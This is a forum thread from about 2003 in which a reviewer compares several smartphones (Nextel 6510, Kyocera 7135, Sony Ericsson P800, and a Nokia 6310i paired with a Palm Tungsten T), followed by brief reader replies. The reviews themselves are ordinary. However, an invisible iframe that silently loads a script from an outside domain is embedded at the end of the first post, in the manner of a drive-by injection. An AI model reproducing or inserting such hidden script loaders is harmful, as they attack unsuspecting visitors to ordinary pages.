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  1. #1
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    Eval of 7135 vs other Smartphones

    INTEROFFICE MEMORANDUM
    TO: SMARTPHONE USER
    FROM: JOHN GRIFFITH
    SUBJECT: ANALYSIS OF SMARTPHONE MOELS
    DATE: 3/23/2003
    CC: NSWC MEASUREMENT SCIENCE DIVISION

    I have been reviewing and testing a variety of smartphones (those with PDA functionality). The phones I have tested to date include the Nextel 6510, Kyocera 7135, Sony Ericsson P800, and Nokia 6310i combined with Palm Tungsten T. The only phone that I have not tested that we wanted to test is the Samsung SPH-i500. I have looked at the Samsung SPH-i330 but have not tested it or any of the Microsoft OS based phones.

    NEXTEL 6510
    The Nextel Blackberry 6510 has a very readable monochrome screen and text is easy to read. The thumb wheel and thumb keyboard make text entry quick and easy. As a pure messaging unit it is excellent as are all Blackberries. Where it fails in messaging is in lack of attachment capability (out of the box, there may be a third party enterprise solution to this but it is not a standard or inexpensive feature) for email, unformatted text and inability to read HTML email. Its biggest failure lies in its use as a phone. To use the phone for a number not in the address book require scrolling to the phone icon, selecting it, then scrolling to new number and selecting it and then keying in the number in the embedded numeric keypad in the thumb QWERTY keyboard. It is not a simple one-handed operation. At night or in a car it is impossible. The keyboard light does not stay on if you make an error and you have to find the light button to turn it back on to see the keyboard. Dialing from the address book is easier but still not as easy as it should be. The sound quality was only OK and the volume is only adequate at maximum volume. Signal reception was weak in many of our areas. Battery life was very poor, barely making it through a day on some units. Synchronizing with Outlook was much better than with the serial port Blackberry but the software will crash Windows 2000. The software to forward email worked well.

    PROS: Good instant messaging unit with easy typing using thumb keyboard. Good email forwarding software included for the desktop.

    CONS: Too large (wide and heavy), hard to use phone, poor battery life and only OK reception.

    KYOCERA 7135
    The Kyocera 7135 has an excellent screen that is easy to read in all but the brightest sunlight. The Palm OS 4.1 software is well integrated into the phone. The sound quality and signal quality were outstanding in the phone category. The speakerphone worked well but is a little thin and distorted at volume. Voice recognition and dialing were excellent. MP3 sound through the unit was similar to the speakerphone. I did not try it with the headset. The build quality was also top notch with a very solid feel. I loaded various software applications and most all worked as they would on a Palm device. It was one of the better solutions I examined but it was not perfect. Having an expansion slot for MMC/SDIO memory was a real plus as the memory fills up pretty quickly once you start saving pictures, MP3s, and Power Point presentations.
    Among the negatives were: it is a little large and heavy when carried on a belt holster or in a pocket. The vibration is on the weak side. The lack of a back key and some phone functions require you to use the touch screen. For example trying to retrieve a voice message using the scroll key to select messages and then selecting your message causes a box to pop up asking if you want to retrieve the voice message. To click on the OK requires the stylus because there are several other choices and you cannot scroll left to right with the up-down rocker switch. I found this very irritating. The screen will sometimes change contrast on its own which can be annoying. The keyboard design is one of the worst I have encountered. The keys are flat and difficult to push and it is hard to be sure which key you are pushing. There is little tactile feedback. There are times when the Palm OS refuses to respond to taps or keys and in some cases requires a soft reset. Sometimes you can overcome this by opening and closing the unit or pressing the on-off switch. Since I had an Alltel unit and not the Verizon unit, I don’t know how many of these problems have been fixed with the newer firmware release. All in all it was a phone that one could live with. Everyone that saw it wanted it.

    PROS: Great screen, easy to use, Palm OS, expansion slot, MP3 player, thousands of applications, decent performance for a 33MHz processor, high build quality, solid feel, great RF reception, good voice command and good speaker phone.

    CONS: A little large, thick and heavy to carry, software is still a bit too buggy for regular users (i.e., not bleeding edge types or technical people), poor keyboard design and slightly thin sound quality.

    NOKIA 6310i + PALM TUNGSTEN T (“COMBO”):
    While this is not technically a smartphone, the combination provides full smartphone functionality at about the same price as the other phones tested ($650 average). In many ways the combo is the best of both worlds. The TT provides a nice large bright easy to read screen with high resolution and the Nokia is small enough to fit easily in your pocket. The newer Bluetooth enabled phones may be even smaller and better. I selected the Nokia 6310i over the Sony Ericsson T68i because the SE has a very bad reputation as a phone. None of the resellers I spoke with would recommend the phone (AT&T, Cingular or T-Mobile). I liked the small size and color screen but I wanted a phone that worked well as a phone. The Nokia is an excellent phone. I just wish it had a speakerphone capability. The battery life on the Nokia is nothing short of astounding running for a week of heavy usage without running out of juice or needing a recharge. The phone and the TT link up easily and integrate very well. You can surf the Web, dial the phone from the address book and send and receive email from the TT. However, this is still not the same as an integrated unit because you cannot synchronize between the two units; however, since both the Nokia and the TT can be synchronized with Outlook you can achieve the same result by synchronizing each of them with Outlook. What you cannot do (or at least I haven’t figured out how to do it) is to allow for push technology for email that would go to the TT when the phone receives an email without a request originating from the TT. Here, the Kyocera wins out as does the Nextel. Since it is a Palm based device one can work with email with attachments and with software like DocsToGo you can edit and save the documents. All in all it is a very workable solution and you can travel light when you don’t need the TT’s full functionality yet still have all of your appointments and address book with you. Changes made on the phone can be synchronized with Outlook when you return and then synchronized with the TT.

    PROS: You get the best of worlds, an excellent phone and an excellent PDA. The phone provides excellent reception and battery life on a phone that is slim and fits in a pocket nicely. The TT also fits in a pocket and is augmented with all of the Palm software, the speed, memory expansion and the Bluetooth connectivity of the TT making it an outstanding PDA.

    CONS: You need two devices to have the full functionality of an integrated device. The integration is not 100% so push-Blackberry functionality is not fully available though it is close if you use SMS instead of email.

    Continued on next post...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    Continued from prior post

    Continued from prior post...

    SONY ERICSSON P800:
    The SE is a phone packed with just about every function imaginable. It has Bluetooth, a camera, PDA, MP3, MPEG4, memory expansion and speakerphone. It is fully integrated including voice command for answering and dialing. The screen size (1.57”x2.40”) and resolution (208x320 pixels) is large for a phone but not up to full PDA size of the TT (2.25”x2.25”) and (320x320 Pixels). Its color depth is 4K versus 65K for the TT. It is not as bright and there is no adjustment for brightness or contrast. It has three zoom settings allowing a lot of small text to be displayed. Unfortunately there is no ability to change from portrait to landscape mode, which would be a welcome feature. The integration between applications is excellent but it does take a while to learn to use the features. Software is still minimal and the ability to work with Office files consists of viewers for email attachments, no independent applications such as DocsToGo. This will probably change as the phone gets more use. The Symbian OS seems solid as far as I have been able to tell with no crashes yet and no hangs. Launching some applications can be slow and opening docs in attachments are also slow. Especially PDF files can take forever. The built in browser is ok, but the Opera browser (a free download) beats any I have tried on the Palm. It is fast! I hope Opera makes one for the Palm. You can view emails in html format, which is a nice plus. The email program allows you to schedule periodic retrievals over the air and works very well. The phone can be carried in your pocket though it is a bit thick at 1.0”. A little thinner and it would work really well. The camera is no great shakes but it is ok and I wish I had it when I was visiting a sight that had some printed PPT slides that I wanted. I could have just photographed them and saved the time of manually copying them.
    Everything is a trade off and some may not like that this is a GSM phone. I have been surprised to find that the difference between GSM and CDMA for data is not as great as the specifications would lead one to believe. The browser on the SE is much faster than Blaze on the Kyocera in displaying regular web pages and does a much better job. Email is also very quick. Its biggest drawback is that it limits email attachments to 105K. Why is not clear. Given the size of PPT files this is too small. However, it does work with zip files and that can help. It connects much faster than Verizon’s Express Network and staying connected does not interfere with receiving or making phone calls. It is lighter weight than the Kyocera, which is another plus. Battery life appears to be on par with the Kyocera and will require recharging at the end of the day. I find that the TT also requires charging at the end of the day so this appears to be a problem with large color displays. One can get more out of the SE by using the power saver feature and having the screen shut off when idle but I find this to be a PIA. The memory stick duo is a negative but it is better than nothing. I wish they had chosen SDIO. The Samsung SGH-i500 is the only phone currently on the horizon that looks like it can give this phone a run for its money in terms of features. The flip keypad works ok thought the keys are a little small and not lit. At night you can see the outline for where the keys are located because the screen light is behind the keys.

    PROS: Smaller than other smartphones (except Samsung SPH-i500), has built in Bluetooth, MP3, WAV and other audio file formats, can handle email attachments and has an excellent Web browser in Opera. Can be carried in your pocket and seems to be a good phone with decent RF reception. The speakerphone is another plus. With all of these bonuses you get a camera to boot, though I wouldn’t want this to be my only camera.

    CONS: Keypad keys are too small, needs to be about 0.3” thinner, needs a better file manager and more software. There is no easy way to transfer files from your PC to the phone except as attachments or beaming. I would like an application that lets me see the memory (both) on the phone as a disk drive to drag and drop files to. It needs more RAM memory, as only 11MB is available to the user. Files running on the memory stick are slower as they are on the Palm.

    CONCLUSION:
    I wish I could get my hands on the Samsung SPH-i500 so I could complete this roundup. I have tried through various sources at Sprint to get my hands on a unit to no avail. They are apparently having problems with the phone or it would have been out by now. Current anticipated date is around end of April to Mid May. Its only plus over these devices is size. It may be too small from a screen and keyboard perspective, I just don’t know. It certainly is not as feature rich.
    The only unit I cannot recommend is the Nextel 6510. A thumb keyboard is nice but Grafiti, Jot, or the mini key displays work just fine for short messages and I think a folding keyboard can provide more useful functionality for longer messages.
    The other three options, Kyocera, Combo and P800 are all good and viable choices. The Kyocera needs the firmware upgrade to solve the problems I observed before it will be ready for the mainstream. The P800 needs more software and additional controls over the display. Its email program needs to be able to handle larger attachments and the viewer needs to be improved. Letters are placed over one another until you select zoom out several times. The zoom function needs to offer you choices on the amount of zoom you desire so you can do it once instead of numerous times. I don’t know if there is a way to do PPT presentations from the P800 as there are from the other choices. For myself, I am leaning toward the Combo as an interim solution until the SGH-i500 is a reality next year. As long as the carrier works in the locations I travel, I don’t care which carrier I use. The Symbian OS is ok, but I like the flexibility afforded by the Palm OS in terms of add-on software. The form factor for Pocket PC based phones just hasn’t cut it for me. I want to be able to use a stylus but do not want to have to use it to use the phone. I have only used the P800 a few days and will update this when I have used it longer and after I have evaluated the SPH-i500.

    John Griffith

  3. #3
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    huh?

  4. #4
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    This is what appears to be a relatively decent summary for the options. There are pros and cons to each. As long as you take into account that these are personal opinions I think this is a good overview.

    It also seems to mirrir what others have said about each.
    Walt

  5. #5
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    Thank you for taking the time to do this!
    How would you compare the Samsung 330 and the Treo 300 to this group?

  6. #6
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    I have not reviewed the Samsung 330 or the Treo. While the Samsung 330 appears to be a decent phone, its use of Palm OS 3, limited memory, form factor (other than thinness) and requirement to use the screen as a keyboard made it unatractive to us. The Treo suffers from the same problems as the Nextel 6510 in the use of a thumb board. These are fine for messaging but our first use is as a phone, second as a PDA.

    I should indicate that I have been conducting this study for our command. We presently use Nextel i90 phones, a variety of PDAs and Blackberries for email communications. We want to reduce the number of devices to a minimum and to meet minimal size requirements. We also want to be able to eliminate carrying our notebook computers when we travel, if possible. The ideal smartphone would meet all of these requirements.

    John

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    Ah.

  8. #8
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    By the way, has anyone actually received the Verizon version of the phone and if so, what are the version numbers of the software and have they fixed some of the problems identified on this board?

    John

  9. #9
    jeh
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    For example trying to retrieve a voice message using the scroll key to select messages and then selecting your message causes a box to pop up asking if you want to retrieve the voice message. To click on the OK requires the stylus because there are several other choices and you cannot scroll left to right with the up-down rocker switch.
    This sounds like a major design goof compared to the 6035. Anyone else have comments on this?

  10. #10
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    welp, i use the 330 and its a great phone. the screen is much better than the 300 and the size is comfortable to hold and use. with the tt tec snap n type thumboard, it makes this phone a breeze to use on Sprint's vision network.

    to anyone who wants to know opinions about other phones, be sure and ask someone who HAS one and uses it on a daily basis..

  11. #11
    Moddin' & Poddin' Markito's Avatar
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    I guess his review of the 7135 will change quite a bit after we all get the updated firmware.

    Incidentally, I don't agree with most of the cons, but I gotta agree with the low tactile feedback on the keypad.
    ~'kito
    pdaPhoneHome Moderator

  12. #12
    Registered User Beryl's Avatar
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    Good review and I concur when it comes to the 7135. There are a lot more "pros" to the 7135 if you have need for a Palm OS converged device, however.

    Your team must have had better luck with GSM coverage than I did since you are looking at the Nokia 6310i +TT combo. Frankly, I liked the T68i and my AT&T store highly recommended it. I'm now wondering if the poor coverage was because of the phone.

  13. #13
    jeh
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    I can't get AT&T Wireless to admit that that Nokia is available through them, or for their system.

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    I know that I noticed that the phone is not listed on AT&T's Web site but it is offered for sale in the LA/Riverside area at several stores, both company owned and private.

    John

  15. #15
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    Nice synopsis barjohn

    I am interested to hear your views on the Symbian OS.
    Please send our troops a thank you:

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